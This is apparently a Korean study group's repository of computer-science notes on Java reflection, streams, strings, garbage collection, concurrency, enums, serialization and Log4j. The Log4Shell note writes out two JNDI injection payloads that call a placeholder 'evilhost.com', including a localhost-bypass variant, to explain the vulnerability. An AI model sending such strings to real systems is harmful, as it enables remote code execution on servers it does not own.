├── .gitignore
├── Java
├── Reflection.md
├── Stream.md
├── String.md
├── log4j와 Log4Shell.md
├── 가비지 컬렉션.md
├── 데이터와 XML 파싱.md
├── 동시성.md
├── 상수집합(Enum).md
└── 직렬화(Serialization).md
├── README.md
├── 개발상식
├── Agile.md
├── Framework_and_Library.md
├── MSA.md
├── SQL 인젝션.md
├── TDD와 단위테스트.md
└── 리팩터링의 원칙.md
├── 네트워크
├── HTTP.md
├── HTTPS와 SSL.md
├── REST, REST API, RESTful.md
├── 소켓프로그래밍.md
├── 컴퓨터 네트워크와 인터넷.md
└── 프로토콜.md
├── 데이터베이스
├── CRUD.md
├── DB Transaction.md
├── DB 파티셔닝.md
├── DB개발상식.md
├── DML.md
├── JDBC.md
├── NoSQL.md
├── mybatis.md
├── 반정규화.md
├── 인덱스.md
├── 정규화.md
└── 조인.md
├── 디자인패턴
├── 디자인패턴.md
├── 빌더 패턴.md
├── 어댑터패턴.md
├── 옵저버 패턴.md
├── 전략 패턴.md
├── 팩토리메서드.md
└── 프록시패턴.md
├── 시험대비
├── 데이터베이스
│ ├── DB문제_강신욱.md
│ ├── DB문제_박건후.md
│ ├── DB문제_배용현.md
│ ├── DB문제_양진형.md
│ └── DB정리_배용현.md
├── 데이터베이스_심화
│ ├── DB문제_강신욱.md
│ ├── DB문제_박건후.md
│ ├── DB문제_배용현.md
│ ├── DB문제_양진형.md
│ ├── DB정답_강신욱.md
│ ├── DB정답_박건후.md
│ ├── DB정답_배용현.md
│ └── DB정답_양진형.md
├── 디버깅
│ └── 디버깅정리_배용현.md
├── 백엔드
│ ├── 0402문제-강신욱.md
│ ├── BE문제_박건후.md
│ ├── BE문제_배용현.md
│ ├── BE문제_배용현_정답.md
│ ├── BE문제_양진형.md
│ └── BE정답_박건후.md
└── 프론트엔드
│ ├── FE문제_강신욱.md
│ ├── FE문제_강신욱_정답.md
│ ├── FE문제_박건후.md
│ ├── FE문제_박건후_정답.md
│ ├── FE문제_배용현.md
│ ├── FE문제_양진형.md
│ └── FE문제_양진형_정답.md
├── 알고리즘
├── ArrayList vs LinkedList.md
├── 다익스트라와 A star.md
├── 동적계획법(Dynamic Programming).md
├── 벨만-포드.md
├── 부분집합.md
├── 스택, 큐.md
├── 완전탐색-순열.md
├── 유니온_파인드.md
├── 자가 균형 이진 탐색 트리.md
├── 재귀.md
├── 조합.md
├── 트라이(Trie).md
├── 합병 정렬.md
└── 해시.md
├── 운영체제
├── CPU 스케줄러.md
├── 동기와 비동기.md
├── 운영체제상의 문제들.md
├── 커널모드와 유저모드.md
├── 컴파일러와 인터프리터.md
├── 파일시스템.md
└── 프로세스.md
├── 웹
├── CORS.md
├── CSR과 SSR.md
├── Component.md
├── Cookie, Session, Web Storage.md
├── HTTP.md
└── Web Browser.md
└── 최신기술동향
├── 6G.md
├── JWT.md
├── 그래프 데이터베이스.md
├── 생성 AI의 최신동향에 대하여.md
├── 서버리스 컴퓨팅.md
└── 챗GPT.md
/.gitignore:
--------------------------------------------------------------------------------
1 | .idea
2 | .project
--------------------------------------------------------------------------------
/Java/Reflection.md:
--------------------------------------------------------------------------------
1 | # Reflection
2 | ## 정적 언어 VS 동적 언어
3 |
4 | | | 정적 타입 언어 | 동적 타입 언어 |
5 | |-----|----------------------------|-------------------------------------|
6 | | 정의 | 컴파일 시점에 자료형이 정해지는 언어 | 런타임 시점에 자료형이 정해지는 언어 |
7 | | 특징 | 타입 에러를 초기에 잡을 수 있어 안정성이 높음 | 런타임까지 타입에 대한 결정 미룰 수 있기 때문에 유연성이 높음 |
8 | | 언어 | Java, C, C++, ... | Groovy, Python, JavaScript, ... |
9 |
10 | ## Reflection 이란?
11 | - 구체적인 클래스 타입을 알지 못해도 클래스의 정보에 접근할 수 있도록 해주는 자바 API
12 | - 정적 타입 언어를 동적 타입 언어처럼 사용하게 해주는 기술
13 | - JVM에 의해 각종 클래스 정보가 Method Area에 저장되고, 이 영역을 확인하여 정보를 가져옴
14 |
15 | ## Example
16 | ```java
17 | public class Car {
18 | private final String name;
19 | private int position;
20 |
21 | public Car(String name, int position) {
22 | this.name = name;
23 | this.position = position;
24 | }
25 |
26 | public void move() {
27 | this.position++;
28 | }
29 |
30 | public int getPosition() {
31 | return position;
32 | }
33 | }
34 | ```
35 | ```java
36 | public static void main(String[] args) {
37 | Object obj = new Car("foo", 0);
38 | obj.move(); // 컴파일 에러 발생 java: cannot find symbol
39 | }
40 | ```
41 | ```java
42 | public static void main(String[] args) throws Exception {
43 | Object obj = new Car("foo", 0);
44 | Class carClass = Car.class;
45 | Method move = carClass.getMethod("move");
46 |
47 | // move 메서드 실행, invoke(메서드를 실행시킬 객체, 해당 메서드에 넘길 인자)
48 | move.invoke(obj, null);
49 |
50 | Method getPosition = carClass.getMethod("getPosition");
51 | int position = (int)getPosition.invoke(obj, null);
52 | System.out.println(position);
53 | // 출력 결과: 1
54 | }
55 | ```
56 |
57 | ## 1. IDE Auto Completion
58 | 
59 |
60 | ## 2. Class.forName()
61 | 
62 |
63 | ## 3. Annotation
64 | ```java
65 | @Target({ElementType.METHOD})
66 | @Retention(RetentionPolicy.RUNTIME)
67 | public @interface MyAnnotation {
68 | String value() default "MyAnnotation : default value";
69 | }
70 | ```
71 | ```java
72 | class MyObject {
73 | @MyAnnotation
74 | public void testMethod1() {
75 | System.out.println("This is testMethod1");
76 | }
77 |
78 | @MyAnnotation(value = "My new Annotation")
79 | public void testMethod2() {
80 | System.out.println("This is testMethod2");
81 | }
82 | }
83 | ```
84 | ```java
85 | public class MyMain {
86 | public static void main(String[] args) {
87 | Method[] methodList = MyObject.class.getMethods();
88 |
89 | for (Method method : methodList) {
90 | if(method.isAnnotationPresent(MyAnnotation.class)) {
91 | MyAnnotation annotation=method.getDeclaredAnnotation(MyAnnotation.class);
92 | String value=annotation.value();
93 | System.out.println(method.getName() + ":" + value);
94 | }
95 | }
96 | }
97 | }
98 | ```
99 | 
100 |
101 | ## 단점
102 | 1. 코드가 지저분해진다. -> 유지보수성 저하
103 | 2. 추상화가 깨진다. -> 보안 이슈 발생
104 | 3. 컴파일 타임에 최적화를 할 수 없어 성능 오버헤드가 발생한다.
--------------------------------------------------------------------------------
/Java/Stream.md:
--------------------------------------------------------------------------------
1 | # Java Stream API
2 |
3 | ## 1. 개념
4 | + Java 8에서 추가
5 | + Stream은 데이터의 흐름
6 | + 배열, 컬렉션 인스턴스를 가공해 원하는 결과를 얻을 수 있음
7 | + 람다를 이용해 코드의 양을 줄일 수 있음
8 |
9 | \* InputStream, OutputStream 등 입출력에서 말하는 Stream과는 다른 개념
10 |
11 |
12 |
13 | ***
14 | ## 2. 생성
15 | ```java
16 | // Array Stream
17 | int[] arr = {1, 2, 3};
18 | IntStream arrayStream = Arrays.stream(arr);
19 |
20 | IntStream intStream = IntStream.of(1, 2, 3, 4);
21 |
22 | // Collection Stream
23 | ArrayList list = new ArrayList(Arrays.asList(1, 2, 3));
24 | Stream listStream = list.stream();
25 |
26 | // 람다식으로 초기화
27 | Stream iteratedStream =
28 | Stream.iterate(30, n -> n + 2).limit(5);
29 | iteratedStream.forEach((s) -> System.out.println(s));
30 | // [30, 32, 34, 36, 38]
31 | ```
32 |
33 |
34 | ***
35 | ## 3. 가공하기
36 | ### 3.1 Filtering
37 | + 스트림 내 요소들을 하나씩 평가해 걸러내는 작업
38 | + boolean을 리턴하는 함수형 인터페이스를 이용해야함
39 | ```java
40 | IntStream example2Stream = IntStream.rangeClosed(1, 10);
41 | example2Stream.filter(i -> i % 2 == 0).forEach(System.out::println);
42 | // 2 4 6 8 10
43 | ```
44 |
45 | ### 3.2 Mapping
46 | + 스트림 내 요소들을 하나씩 특정 값으로 변환해줌
47 | + 람다를 인자로 받음
48 | ```java
49 | Stream stream =
50 | productList.stream()
51 | .map(Product::getAmount);
52 | // [23, 14, 13, 23, 13]
53 | ```
54 |
55 | ### 3.3 Sorting
56 | ```java
57 | IntStream.of(14, 11, 20, 39, 23)
58 | .sorted()
59 | .boxed()
60 | .collect(Collectors.toList());
61 | // [11, 14, 20, 23, 39]
62 | ```
63 | ##
64 |
65 |
66 | ***
67 | 참고
68 | [Java 스트림 Stream (1) 총정리](https://futurecreator.github.io/2018/08/26/java-8-streams/)
69 | [Java 스트림 Stream (2) 고급](https://futurecreator.github.io/2018/08/26/java-8-streams-advanced/)
70 | [자바의 정석 - 스트림(Stream)](https://ryan-han.com/post/dev/java-stream/)
71 |
--------------------------------------------------------------------------------
/Java/String.md:
--------------------------------------------------------------------------------
1 | # String
2 | ## Java의 String
3 | - 문자의 연속적인 집합
4 | - 불변성을 가짐
5 | - 원시 타입이 아닌 객체 타입
6 |
7 | ## 다음 코드의 출력 결과는?
8 | ```java
9 | String s1 = "string";
10 | String s2 = new String("string");
11 | String s3 = String.valueOf("string");
12 |
13 | System.out.println(s1.equals(s2));
14 | System.out.println(s1 == s2);
15 | System.out.println(s1 == "string");
16 | System.out.println(s1 == s3);
17 | ```
18 |
19 | 정답
20 | true
21 | false
22 | true
23 | true
24 |
25 |
26 | ## Constant Pool
27 | - 런타임에 생성되는 상수 저장소
28 | - JVM의 Method Area에 존재
29 | - 리터럴 객체, 정수 리터럴, 메서드, 필드, 클래스 정보 등이 저장됨
30 |
31 | ## String Pool
32 | - 컴파일 타임에 생성되고 값이 저장되는 문자열 상수 저장소
33 | - JVM의 Heap Area에 존재 (GC의 대상)
34 | - 리터럴 객체인 String은 특이하게 Constant Pool에 저장되지 않고 이 영역에 저장됨
35 | - String.intern() 메서드를 사용하면 문자열이 존재하지 않을시 StringPool에 등록하고, 존재하면 StringPool에서 가져옴.
36 |
37 | ```java
38 | String helloWorld = "HelloWorld";
39 | String world = "World";
40 |
41 | System.out.println(helloWorld == new String("HelloWorld"));
42 | System.out.println(helloWorld == "HelloWorld");
43 | System.out.println(helloWorld == ("Hello"+"World"));
44 | System.out.println(helloWorld == ("Hello"+world));
45 | System.out.println(helloWorld == ("Hello"+world).intern());
46 | ```
47 |
48 | 정답
49 | false
50 | true
51 | true
52 | false
53 | true
54 |
55 |
56 |
57 | ## 참고
58 | - [String 객체와 문자열 상수](https://www.codelatte.io/courses/java_programming_basic/PP95VV3NZJM71V14)
59 | - [Constant Pool과 String Pool](https://blog.breakingthat.com/2018/12/21/java-constant-pool%EA%B3%BC-string-pool/)
60 | - [intern() 심화](https://www.latera.kr/blog/2019-02-09-java-string-intern/)
61 |
--------------------------------------------------------------------------------
/Java/log4j와 Log4Shell.md:
--------------------------------------------------------------------------------
1 | # log4j와 Log4Shell
2 | ## log4j
3 | - 자바 진영에서 사용하는 로그 기록 프레임워크
4 | - 속도에 최적화 되어 있으며 Thread-safe 하다.
5 | - Trace, Debug, Info, Warn, Error, Fatal의 6가지 장애 레벨을 사용
6 | - 출력을 파일, 콘솔, 원격서버, 심지어 이메일로까지 보낼 수 있음
7 | - 한국 정부에서 사용하는 전자정부프레임워크에서도 사용중임
8 |
9 | ### 구조
10 | - Logger: 로깅 메세지를 Appender에 전달, 로그레벨을 가지고 있어 로그의 출력 여부를 결정
11 | - Appender: 로그의 출력 위치를 결정(예: 파일, 콘솔, DB)
12 | - Layout: 어떤 형식으로 출력할 것인지
13 | - 예를 들어 `````` 라는 xml 태그는 순서대로 로그레벨, 클래스 구조, 로그내용을 출력한 뒤 개행하라는 뜻이다.
14 |
15 | ## Log4Shell
16 | - 기본적으로는 RCE(원격 코드 실행)으로 인해 발생하는 보안 취약점이다
17 | - Log4j 문법에서는 JNDI와 LDAP를 사용할 수 있다
18 | - JNDI는 자바 네이밍 디렉토리 인터페이스로, 디렉토리를 통해 자바 객체형태의 데이터를 찾을 수 있게 해준다
19 | - LDAP는 Lightweight Directory Access Protocol의 약자로, 네트워크상에서 조직이나 개인, 파일, 디바이스 등을 찾아볼 수 있게 해주는 소프트웨어 프로토콜이다.
20 | - 이 둘을 조합하여 ${jndi:ldap://evilhost.com/a} 같은 식으로 사용자가 보낸 문자열을 로그에 넣으면 Log4j는 이 URL을 호출해버림
21 | - 즉, 서버에서 원격으로 코드를 실행시켜버릴 수 있는 취약점인 것
22 | - 예를 들어, 마인크래프트의 채팅창에 위와 같은 방식의 채팅을 치면, 서버에 원격으로 코드를 실행시킬 수 있음
23 | - 이와 같은 문제를 애플, 테슬라 같은 대기업과 각국 전자 정부 시스템에서 겪었음
24 |
25 | ### 사건 전개
26 | - 2021년 11월 24일, 버전 2.14에서 제로데이 이슈로 발견됨
27 | - 버전 2.15이 공개되었지만, DoS(서비스 거절) 공격에 대한 취약점이 여전히 존재했고, RCE를 완전히 막지 못함
28 | - 유저의 URL 호출을 localhost로 한정했으나 ${jndi:ldap://127.0.0.1#evilhost.com:1389/a}같은 식으로 여전히 다른 서버의 URL을 호출 할 수 있었음
29 | - 버전 2.16이 공개되었지만 이번엔 무한 재귀 문제가 발생할 수 있게 되었음
30 | - 이로인해 스택 오버플로가 발생하여 서버가 다운될 수 있었음
31 | - 버전 2.17이 공개되었지만 새로운 취약점이 발견됨
32 | - 현재 버전 2.17.1 이상을 사용할 경우 안전할 것으로 사료됨
33 | - 참고로 현재 아직도 업데이트를 안한 경우에 사용하는 1.2버전에서도 같은 이슈가 존재함
34 | - 이 경우엔 JMSAppender를 사용하지 않도록 하면 안전함
--------------------------------------------------------------------------------
/Java/가비지 컬렉션.md:
--------------------------------------------------------------------------------
1 | # 가비지 컬렉션(Garbage Collection)
2 | ## 개요
3 | - 메모리 관리 방법중 하나
4 | - 동적으로 할당된 영역 중에서 더이상 사용하지 않는 부분을 자동으로 찾아 해제하는 것
5 | - GC 방식을 고르는 것이라면 몰라도, 개발자가 임의의 타이밍에 GC를 실행시키는 것은 절대 하지말 것!
6 |
7 | ## Stop-the-world
8 | - 가비지 컬렉션의 핵심 개념으로, 가비지 컬렉션을 실행하기 위해 모든 쓰레드를 중지 시키는 것
9 | - 어떤 알고리즘을 사용하더라도 Stop-the-world를 없앨 수는 없다
10 | - 따라서, 가비지 컬렉션 튜닝의 목적은 주로 이 Stop-the-world로 생기는 시간소모를 줄이기 위한 것이다
11 |
12 | ## JVM에서의 가비지 컬렉션
13 | - JVM에서의 가비지 컬렉터는 이하의 두 전제조건 하에 작동한다
14 | 1. 대부분의 객체는 금방 접근 불가능한 상태가 된다
15 | 2. 오래된 객체에서 젊은 객체로의 참조는 아주 적게 존재한다.
16 | - 따라서 JVM은 공간을 크게 Young 영역과 Old 영역으로 나눈다.
17 |
18 | ## Young 영역과 Old 영역
19 | - Young 영역은 크게 Eden 영역과 2개의 Survivor 영역으로 나뉜다
20 | - Young 영역에서의 객체 처리는 이하와 같다
21 | 1. 새로 생성된 객체는 Eden에 위치한다
22 | 2. Eden에서 GC가 한번 발생 한 후 살아남은 객체는 Survivor중 하나로 이동한다
23 | 3. 하나의 Survivor 영역이 가득찰때까지 2번을 반복하다가 가득차게되면, 그 중에서 살아남은 객체들을 다른 Survivor 영역으로 전부 옮기고, 기존 Survivor 영역은 비운다
24 | 4. 위의 과정을 계속 반복해도 살아남은 객체는 Old 영역으로 이동시킨다.(Promotion)
25 | - Old 영역에서는 기본적으로 데이터가 가득차면 GC를 실행한다
26 |
27 | ## GC의 종류
28 | 1. Serial GC
29 | 2. Parallel GC
30 | 3. Parallel Old GC
31 | 4. Concurrent Mark & Sweep GC
32 | 5. G1(Garbage First) GC
33 |
34 | ### Serial GC
35 | - mark-sweep-compact 알고리즘을 사용한다
36 | - Mark: Old 영역에서 살아 있는 객체를 식별하는 것
37 | - Sweep: 힙 영역의 앞에서부터 살아 있는 객체만 남기는 것
38 | - Compaction: 마지막 단계로, 각 객체들이 연속되게 쌓이도록 정리하는 것
39 |
40 | 
41 | - 메모리가 적거나 CPU 코어 개수가 적을때 적합
42 | - 따라서 운영 서버에선 사용을 권장하지 않음
43 |
44 | ### Parallel GC & Parallel Old GC
45 | - Java 8의 기본 GC
46 | - 기본적으로 Serial GC와 같으나 GC를 처리하는 쓰레드를 여러개로 늘린 방식
47 | - 메모리를 좀 더 많이 소모하는 대신 Stop-the-world 시간이 짧다
48 | - Old 영역이 아니라 Young 영역에 대해서만 멀티 스레딩을 적용한다.
49 | - Parallel Old GC은 여기에 알고리즘의 Sweep 단계를 Summary로 바꾼 방식이며, Old 영역까지 멀티스레드 방식을 적용한다.
50 |
51 | ### CMS GC
52 | - Initial Mark, Concurrent Mark, Remark, Concurrent Sweep 단계를 거침
53 | - Initial Mark: 클래스 로더에서 가장 가까운 객체중에서 살아있는 객체를 살아있는 것만 마킹(GC Root)
54 | - Concurrent Mark: 참조하는 객체를 따라가면서, 지속적으로 마킹. Stop-the-world 없음.
55 | - Remark: Concurrent Mark에서 변경된 사항이 없는지 다시한번 마킹하는 단계
56 | - Concurrent Sweep: 접근 할 수 없는 객체를 제거. Stop-the-world 없음
57 | - Java 9 에서부터 deprecated되었고, Java 14에서 사용이 중지되었다
58 |
59 | ### G1 GC
60 | - CMS 방식을 대체하기 위해 설계되어 Java 9부터 기본 GC로 사용중인 GC
61 | - 앞에서의 방식들과 다르게 Young & Old 영역을 사용하지 않음
62 | - Heap을 Region이라는 일정한 부분으로 나눠서 메모리를 관리
63 | - 일반적으로 2차원 행렬의 형태로 이미지화 한다
64 | - G1 GC는 각 영역들이 얼마나 가비지가 많은지 늘 추적한다
65 | - 한 Region에 객체를 할당하다가, 해당 지역이 꽉차면 다른 지역에 객체 할당을 시작하고, Minor GC를 실행한다
66 | - 이 때, 가비지가 가장 많은 곳에서 Mark & Sweep을 수행하기 때문에 G1라는 이름이 붙었다.
67 | - GC에서 살아남은 객체들은 다른 지역으로 이동된다.
68 | - Major GC의 경우, 다른 GC들이 Heap 영역 전체에 대해 수행하는데 비해 GC가 수행될만한 지역들에 대해서만 GC를 수행한다.
69 | - 이로인해 다른 GC들에 비해 Stop-the-world가 짧다
70 |
71 | ======================================
72 | ### 참고 문헌
73 | - https://dar0m.tistory.com/261
74 | - https://d2.naver.com/helloworld/1329
75 | - https://perfectacle.github.io/2019/05/11/jvm-gc-advanced/
--------------------------------------------------------------------------------
/Java/동시성.md:
--------------------------------------------------------------------------------
1 | # 자바 동기화
2 | - 멀티스레드 환경에서 CPU cache memory의 값과 RAM의 값이 서로 달라 가시성 문제가 발생함
3 |
4 | ```java
5 | public class CountingTest {
6 | public static void main(String[] args) {
7 | Count count = new Count();
8 | for (int i = 0; i < 100; i++) {
9 | new Thread(){
10 | public void run(){
11 | for (int j = 0; j < 100; j++) {
12 | System.out.println(count.view());
13 | }
14 | }
15 | }.start();
16 | }
17 | }
18 | }
19 | class Count {
20 | private int count;
21 | public int view() {return count++;}
22 | public int getCount() {return count;}
23 | }
24 | ```
25 |
26 |
27 |
28 | - 순서가 다른 이유는 여러 스레드가 cache memory에 접근하는데, 접근시기의 값과 다음 연산때의 값이 달라지기 때문에 발생하게 됨.
29 |
30 |
31 |
32 | ---
33 |
34 | ## 해결방법
35 |
36 | ### 1. 암시적 Lock
37 | - Lock을 걸어서 다른 스레드가 접근 불가능하게 하는 방법(synchronized)
38 |
39 | - 한번에 하나의 스레드만 접근 가능하므로 병렬성이 저하됨
40 | ```java
41 | class Count {
42 | private int count;
43 | public synchronized int view() {return count++;}
44 | }
45 | ```
46 | ### 2. 명시적 Lock
47 | - synchronized 키워드 없이 명시적으로 ReentrantLock을 사용
48 | - 해당 Lock의 범위를 한정하기 어렵거나, 동시에 여러 Lock을 사용하고 싶을 때 사용
49 |
50 | ```java
51 | public class CountingTest {
52 | public static void main(String[] args) {
53 | Count count = new Count();
54 | for (int i = 0; i < 100; i++) {
55 | new Thread(){
56 | public void run(){
57 | for (int j = 0; j < 1000; j++) {
58 | count.getLock().lock();
59 | System.out.println(count.view());
60 | count.getLock().unlock();
61 | }
62 | }
63 | }.start();
64 | }
65 | }
66 | }
67 | class Count {
68 | private int count = 0;
69 | private Lock lock = new ReentrantLock();
70 | public int view() {
71 | return count++;
72 | }
73 | public Lock getLock(){
74 | return lock;
75 | };
76 | }
77 | ```
78 |
79 |
80 | ### 3. 가시성 책임지는 volatile
81 | - 가시성 : 스레드가 자원에 접근할 때 항상 Main Memory에 접근하지 않고 CPU cache memory에 적재된 자원값을 참조하는데, 이때 값이 달라질 수 있다.
82 | - 하지만, 실제 자원의 값(Main memory에 적재된)을 참조하는 개념이 자원의 가시성(Visibility)
83 | - volatile은 CPU cache memory 사용을 막음으로서 가시성을 확보함
84 | ```java
85 | public class SharedObject {
86 | public volatile int counter = 0;
87 | }
88 | ```
89 | - 하지만 동시성을 확보해주지는 않음
90 | - 한 스레드는 'Read'만 하고, 한 스레드는 'Write'만 해야 동시성 보장됨
91 |
92 |
93 | ### 4. Concurrent
94 | - concurrent 패키지는 현재 스레드에서 사용되는 자원이 Main Memory의 값과 비교하여 불일치하면 업데이트 된 값을 가져옴
95 | - synchronized와 달리 병렬성을 해치지 않으면서 동시성을 보장하여 성능 개선
96 |
97 |
98 |
99 | ## 참고자료
100 | - https://llshl.tistory.com/12
101 | - https://ecsimsw.tistory.com/entry/%EC%9E%90%EB%B0%94%EC%9D%98-%EB%8F%99%EA%B8%B0%ED%99%94-%EB%B0%A9%EC%8B%9D-%EB%A9%94%EB%AA%A8%EB%A6%AC-%EA%B0%80%EC%8B%9C%EC%84%B1%EC%9D%B4%EB%9E%80-synchronized-volatile-atomic
--------------------------------------------------------------------------------
/Java/상수집합(Enum).md:
--------------------------------------------------------------------------------
1 | # 상수집합 (Enum)
2 | - Enum은 서로 관련있는 여러 개의 상수 집합을 정의할 때 사용하는 자료형
3 | - 상수란 값이 변하지 않는 고정 값을 의미
4 |
5 | ## 만들기
6 | ```java
7 | public class Main{
8 | enum Menu{
9 | ESPRESSO,
10 | AMERICANO,
11 | CAFE_LATTE,
12 | CAFE_MOCA
13 | };
14 |
15 | public static void main(String[] args) {
16 | System.out.println(Menu.ESPRESSO); // ESPRESSO 출력
17 | System.out.println(Menu.AMERICANO); // AMERICANO 출력
18 | System.out.println(Menu.CAFE_LATTE); // CAFE_LATTE 출력
19 | System.out.println(Menu.CAFE_MOCA); // CAFE_MOCA 출력
20 | }
21 | }
22 | ```
23 |
24 | ## 사용
25 | ```java
26 | for(Menu menu: Menu.values()) {
27 | System.out.println(menu); // 순서대로 ESPRESSO, AMERICANO, CAFE_LATTE, CAFE_MOCA 출력
28 | }
29 | // .values() 메서드는 enum의 배열 리턴
30 | ```
31 |
32 | ## Final과의 차이
33 | ```java
34 | public static final int MONDAY = 1;
35 | public static final int TUESDAY = 2;
36 | public static final int WEDNESDAY = 3;
37 | public static final int THURSDAY = 4;
38 | public static final int FRIDAY = 5;
39 | public static final int SATURDAY = 6;
40 | public static final int SUNDAY = 7;
41 | ```
42 | - 문제점
43 | 1. 가독성 저하. 상수의 이름만으로는 의미 파악하기 힘듦
44 | 2. 오타 등의 실수 발생 가능 ex. TUESDAY, THUESDAY
45 | 3. 상수들이 관련있는 것들끼리 그루핑되어 있지 않음
46 |
47 | ```JAVA
48 | public enum DayOfWeek {
49 | MONDAY, TUESDAY, WEDNESDAY, THURSDAY, FRIDAY, SATURDAY, SUNDAY
50 | }
51 | ```
52 | - 장점
53 | 1. 상수의 다양한 기능 사용 가능
54 | - switch
55 | - method
56 | - 상수 비교(==) 가능
57 | - values() 사용하면 배열 형태로 반환
58 | - name() 사용하면 상수의 이름을 문자열로 반환
59 | - 기타 다양한 기능 제공
60 | 2. 가독성 향상
61 | 3. 오타 등 실수 발생 가능성 저하 (올바른 이름을 지정하려면 그대로 사용해야하기 때문)
62 | 4. 관련있는 상수들끼리 그루핑할 수 있음
63 |
64 |
65 | ## 단점
66 | 1. 유지보수 어려워질 수 있음
67 | - enum은 내부에 모든 상수들이 정의되므로, 상수가 많아지면 해당 크기가 커져서 가독성이 저하될 수 있음
68 | 2. 불필요한 메모리 사용 가능성
69 | - enum의 경우 모든 상수가 메모리에 미리 할당되어, 상수가 많은 경우 메모리 사용량 증가
70 | 3. 코드가 상대적으로 복잡해질 수 있음
71 | - enum은 다양한 기능 제공하여, 불필요하게 구현하면 코드 복잡도 향상
72 | - 필요한 기능만 구현해야 함
73 |
74 | ## 참고
75 | - https://wikidocs.net/157271
76 |
--------------------------------------------------------------------------------
/Java/직렬화(Serialization).md:
--------------------------------------------------------------------------------
1 | # 직렬화(Serialization)
2 |
3 | - 자바 시스템 내부에서 사용되는 객체 또는 데이터를 외부의 자바 시스템에서도 사용할 수 있도록 바이트(byte)형태로 데이터를 변환하는 기술
4 | - 큰 의미에서 바이트로 변환된 데이터를 다시 객체로 변환하는 기술인 역직렬화(Deserialization)를 포함하여 의미함
5 |
6 |
7 |
8 | ## 자바 직렬화 조건
9 |
10 | - 기본 타입(Primitive), java.io.Serializable 인터페이스를 상속받은 객체
11 |
12 | ```java
13 | import java.io.*;
14 |
15 | public class Person implements Serializable {
16 | private static final long serialVersionUID = 1L;
17 | private String name;
18 | private int age;
19 |
20 | ...
21 | }
22 | ```
23 |
24 |
25 |
26 | ## 자바 직렬화 방법
27 |
28 | - java.io.ObjectOutputStream 객체를 이용
29 |
30 | ```java
31 | import java.io.*;
32 |
33 | public class Person implements Serializable {
34 | private static final long serialVersionUID = 1L;
35 | private String name;
36 | private int age;
37 |
38 | public Person(String name, int age) {
39 | this.name = name;
40 | this.age = age;
41 | }
42 |
43 | @Override
44 | public String toString() {
45 | return "Person [name=" + name + ", age=" + age + "]";
46 | }
47 |
48 | public static void main(String[] args) {
49 | Person person = new Person("John", 30);
50 |
51 | try {
52 | FileOutputStream fileOut = new FileOutputStream("person.ser");
53 | ObjectOutputStream out = new ObjectOutputStream(fileOut);
54 | out.writeObject(person);
55 | out.close();
56 | fileOut.close();
57 | System.out.println("Serialized data is saved in person.ser");
58 | } catch (IOException i) {
59 | i.printStackTrace();
60 | }
61 | }
62 | }
63 | ```
64 |
65 |
66 |
67 | ## 역직렬화 조건
68 |
69 | - 직렬화된 객체의 클래스가 클래스 패스에 존재하고 import 되어 있어야 한다.
70 | - 이때 직렬화와 역직렬화를 진행하는 시스템이 서로 다를 수 있음을 고려해야함
71 | - 직렬화 대상 객체는 동일한 serialVersionUID를 가지고 있어야함
72 |
73 |
74 |
75 | ## 역직렬화 방법
76 |
77 | - java.io.ObjectInputStream을 이용
78 |
79 | ```java
80 | try {
81 | FileInputStream fileIn = new FileInputStream("person.ser");
82 | ObjectInputStream in = new ObjectInputStream(fileIn);
83 | Person restoredPerson = (Person) in.readObject();
84 | in.close();
85 | fileIn.close();
86 | System.out.println("Deserialized data:");
87 | System.out.println(restoredPerson);
88 | } catch (IOException i) {
89 | i.printStackTrace();
90 | } catch (ClassNotFoundException c) {
91 | System.out.println("Person class not found");
92 | c.printStackTrace();
93 | }
94 | ```
95 |
96 |
97 |
98 | ## serialVersionUID (SUID)
99 |
100 | - 역직렬화시 클래스 구조가 변경 되는 경우
101 |
102 | 클래스 구조 변경 전 출력 결과
103 |
104 | ```
105 | Deserialized data:
106 | Person [name=John, age=30]
107 | ```
108 |
109 | 클래스 구조 변경 후
110 |
111 | ```java
112 | public class Member implements Serializable {
113 | private String name;
114 | private int age;
115 | private String email;
116 | }
117 | ```
118 |
119 | ```
120 | java.io.InvalidClassException: test.Person; local class incompatible: stream classdesc serialVersionUID = -3637310856900372143, local class serialVersionUID = -2921636307248833683
121 | ```
122 |
123 | seriailVersionUID의 정보가 일치하지 않아 예외 발생
124 |
125 | - SUID가 필수 값은 아니며, 선언되어 있지 않으면 클래스의 기본 해쉬값을 사용함
126 | - 호환 가능한 클래스는 직렬화 클래스와 역직렬화 클래스의 SUID 값이 같아야함
127 |
128 | 클래스에 default SUID를 명시한 경우
129 |
130 | ```java
131 | public class Person implements Serializable {
132 | private static final long serialVersionUID = 1L;
133 | private String name;
134 | private int age;
135 | private String email;
136 | }
137 | ```
138 |
139 | ```
140 | Deserialized data:
141 | Person [name=John, age=30, email=null]
142 | ```
143 |
144 | - 클래스 구조가 변경되어도 직렬화/역직렬화를 할 수 있음
145 | - 단, 이때 변수 타입이 다르면 예외 발생
146 | - 변수를 제거하거나 변수명을 바꾸면 데이터가 누락됨
147 |
148 | ```
149 | Deserialized data:
150 | Person [name1=null, age1=0]
151 | ```
152 |
153 | - SUID는 개발 시 직접 관리해야함
154 |
155 |
156 |
157 |
158 | - 자바 직렬화 외에도 특정 라이브러리를 이용하여 데이터를 csv, JSON의 문자열 형태로 변환하거나 프로토콜 버퍼, Apache Avro 등으로 직렬화하여 추출하는 것이 가능
159 |
160 | ## 자바 직렬화의 사용 이유
161 |
162 | - JVM 메모리에 상주되어있는 객체 데이터를 영속화 -> 시스템이 종료되어도 데이터 보존
163 | - 객체 상태 유지 용이 -> 직렬화/역직렬화가 간단하고, 데이터 타입이 자동으로 맞춰져 사용하기 쉬움
164 | - 플랫폼 간 호환 가능 -> 자바 직렬화는 자바의 표준 기능으로 모든 플랫폼에서 사용 가능
165 |
166 |
167 |
168 | [자바 직렬화, 그것이 알고싶다. 훑어보기편 | 우아한형제들 기술블로그](https://techblog.woowahan.com/2550/)
169 | [자바 직렬화, 그것이 알고싶다. 실무편 | 우아한형제들 기술블로그](https://techblog.woowahan.com/2551/)
170 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # :computer: Computer Science
2 |
3 | ## :loudspeaker: Rule
4 |
5 | 1. 요일 : 화, 일
6 | 2. 방식
7 | - 화: 일요일까지 다음 세 선택지 중에서 하나 선택
8 | 1. 기존에 진행했던 주제 보완
9 | 2. 여러 주제 종합 복습
10 | 3. 진행하지 않았던 주제 탐구
11 | - 일: 월요일 시험 대비 모의고사 출제 및 풀이
12 | 3. 주제 선정
13 | - Computer Science: 화 PT 후 일요일까지 겹치지 않게 각자 차주 주제 선정
